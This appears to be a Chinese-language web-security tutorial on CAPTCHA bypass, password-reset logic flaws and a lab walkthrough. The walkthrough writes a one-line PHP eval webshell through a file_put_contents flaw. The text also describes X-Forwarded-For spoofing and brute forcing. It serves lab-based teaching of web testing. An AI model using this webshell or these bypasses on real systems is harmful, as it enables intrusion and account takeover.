一、验证码绕过
验证码: 区分用户是人还是计算机的全自动程序
验证码的作用:
1、防止恶意破解密码
2、防止论坛灌水
验证码绕过:
1、识别法(通过编写脚本实现)
2、逻辑绕过法(开发写验证码的校验的时候逻辑产生了问题)
验证码绕过常见姿势:
1、前端校验验证码(这个懂得都懂),相当于没有,直接抓包或者禁用JS
2、验证码虽然设置了,但是并没有校验,随便输也能验证成功
3、验证码可重复使用
4、验证码空值绕过
5、验证码有规则,比如是时间戳的后六位
6、万能验证码,000000,一般在设备上面偏多、硬件设备
7、验证码藏在cookie里面
8、多次登陆错误以后,才需要输验证码
一般是基于session
session:存在服务器上面的(相当于户籍管理系统里的数据)
cookie:存在客户端(相当于身份证),绑定session
基于ip
我们可以利用X - Foworded -for 来进行跑包
基于用户,这个可以爆破用户
我们进入靶场:
进入网站后台,输入账号和密码,我们可以看到,输入admin和123456显示账号或密码错误,而输入testq和123456就会显示账户不存在,这里就可以尝试绕过验证码来进行爆破密码了
我们这里登陆的时候用Burp抓包,将包放到Repeater模块,然后点击放包,显示账户或密码不匹配,我们再把账户改掉,这里又显示账户不存在,并没有显示验证码错误,所以这里就存在验证码重复利用,如果我们回到Proxy模块,将包放掉,我们再到Repeater模块,点击go,这里就会显示验证码错误,所以这个绕过的核心是不能将这个抓到的数据包放掉
** 二、密码找回**
有一类验证码,他并不是区分用户是计算机还是人的公共全自动程序,他是用来证明你的身份的,例如短信验证码、邮箱验证码
1、验证码返回给客户端
当你在点击发送验证码之后抓他的返回包,返回包里就会有验证码的内容
2、业务流程缺陷
一般找回密码分为三个步骤:发验证码 --> 校验页面 --> 修改页面
如果我们在发验证码的时候,直接能去访问修改页面,那么这就是业务流程缺陷
如果传参加密了,他可能是:①JS前端加密,我们就需要看它的代码来分析加密方式,②后端加密,这时候我们就需要去找他加密的数据包,将它截住,然后把我们想要添加的数据加进去,③之前数据包隐藏域的返回,④强行猜解,MD5、Base64、URL等加密方式,看它的1加密为了什么字符,2加密为了什么字符,一个一个猜
3、验证码无时间间隔限制
4、验证码可爆破
5、越权漏洞
通过改包输入自己的手机号然后修改别人的密码
现在进入到我们之前登录上的靶场:
我们在当前页面刷新抓包,将包放到repeater模块,右键选择有request的那个选项,将传参方式改为POST,我们输入?x=m ,filename=66.php&content=<?php eval($_REQUEST[8])?>,然后在网站主页访问66.php?8=phpinfo();我们就会发现我们能访问他的php探针了,现在我们搞到这套源码来分析一下
使用Seay源码审计工具,全局搜索file_put_contents(这个函数,然后找到我们可利用的点
我们可以一个一个看过去,直到找到我们能利用的地方,这里我们看第十个,这里我们看源码就可以知道,我们之前为什么要那么写了,$x=m是必须的条件,只有进入到这个循环,我们才能写马,而后面的filename=66.php&content=<?php eval($_REQUEST[8])?>就是我们写的马子的内容和名称,
版权归原作者 安澈521 所有, 如有侵权,请联系我们删除。